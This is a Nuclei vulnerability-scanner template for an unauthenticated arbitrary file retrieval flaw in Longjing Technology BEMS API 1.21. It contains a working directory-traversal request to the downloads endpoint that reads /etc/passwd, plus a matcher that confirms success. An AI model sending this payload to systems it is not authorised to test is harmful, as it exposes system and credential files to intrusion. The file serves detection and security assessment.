nuclei-templates/vulnerabilities/other/bems-api-lfi.yaml

26 lines
858 B
YAML

id: bems-api-lfi
info:
name: Longjing Technology BEMS API 1.21 - Arbitrary File Retrieval
author: gy741
severity: high
description: The application suffers from an unauthenticated arbitrary file retrieval vulnerability. Input passed through the fileName parameter through the downloads API endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks.
reference:
- https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5657.php
tags: lfi
requests:
- method: GET
path:
- "{{BaseURL}}/api/downloads?fileName=../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200